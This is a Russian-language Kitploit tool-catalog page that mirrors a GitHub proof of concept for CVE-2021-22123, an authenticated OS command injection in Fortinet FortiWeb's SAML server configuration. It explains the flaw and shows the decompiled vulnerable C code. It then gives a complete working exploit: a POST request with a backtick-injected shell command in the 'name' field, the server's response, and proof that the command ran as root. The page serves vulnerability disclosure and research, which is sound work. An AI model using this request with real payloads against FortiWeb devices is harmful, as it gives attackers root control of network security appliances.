Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-22123 — [CVE-2021-22123] Fortinet FortiWeb Authenticated OS Command Injection | Kitploit
Инструменты/GitHubGitHub/murataydemir/cve-2021-22123
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubmurataydemir/cve-2021-22123

CVE-2021-22123

[CVE-2021-22123] Fortinet FortiWeb Authenticated OS Command Injection

Репозиторий
635 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

[CVE-2021-22123] Аутентифицированная инъекция команд ОС в Fortinet FortiWeb


Hit Counter Platform Badge

Уязвимость внедрения команд в интерфейсе управления FortiWeb может позволить удаленному аутентифицированному злоумышленнику выполнять произвольные команды в системе через страницу конфигурации сервера SAML. Выполнение команд с максимальными привилегиями приведет к тому, что злоумышленник получит полный контроль над сервером. Это пример CWE-78: Improper Neutralization of Special Elements used in an OS Command и имеет базовую оценку CVSSv3 8.7. Эта уязвимость имеет номер CVE-2021-22123, который был устранен на странице Fortiguard Lab (FG-IR-20-120)

SAML расшифровывается как Security Assertion Markup Language и представляет собой открытый стандарт на основе XML для передачи идентификационных данных между двумя сторонами: поставщиком удостоверений (IdP) и поставщиком услуг (SP). Он предназначен для обеспечения работы механизма единого входа (Single Sign-On), который позволяет получать доступ к различным программным продуктам с помощью одного идентификатора.

FortiWeb всех версий до 6.3.7 и ниже уязвимы для аутентифицированной инъекции команд ОС. Успешная эксплуатация этой уязвимости может привести к полному захвату контроля над затронутым устройством с максимально возможными привилегиями. Злоумышленник может установить постоянную оболочку, программное обеспечение для майнинга криптовалют или другое вредоносное ПО. В маловероятном случае, если интерфейс управления доступен из интернета, он может использовать скомпрометированную платформу для проникновения в затронутую сеть за пределами DMZ.

Злоумышленник, предварительно аутентифицированный в интерфейсе управления устройства FortiWeb, может внедрять команды с помощью обратных кавычек в поле name страницы конфигурации сервера SAML. Эти команды затем выполняются от имени пользователя root базовой операционной системы. Уязвимая часть кода показана ниже.

root@kitploit:~
int move_metafile(char * path, char * name) {
    int iVar1;
    char buf[512];
    int nret;
    snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
    iVar1 = access(buf, 0);
    if (iVar1 != 0) {
        snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
        iVar1 = system(buf);
        if (iVar1 != 0) {
            return iVar1;
        }
    }
    snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
        "Metadata", & DAT_00212758);
    iVar1 = system(buf);
    return iVar1;
}

Доказательство концепции (PoC): Следующий POST-запрос можно использовать для эксплуатации этой уязвимости.

root@kitploit:~
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
root@kitploit:~
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json

{"errcode": "-651"}

Наконец, результаты выполнения команды 'touch' можно увидеть в локальной командной строке устройства FortiWeb

root@kitploit:~
/# ls -l /tmp/CVE-2021-22123
-rw-r--r--    1 root     0                0 Aug 10 15:48 /tmp/CVE-2021-22123

Ссылки:

  • https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/
  • https://www.ptsecurity.com/ww-en/about/news/positive-technologies-discovers-vulnerability-in-fortinet-firewall/
  • https://www.fortiguard.com/psirt/FG-IR-20-120
Скачать инструмент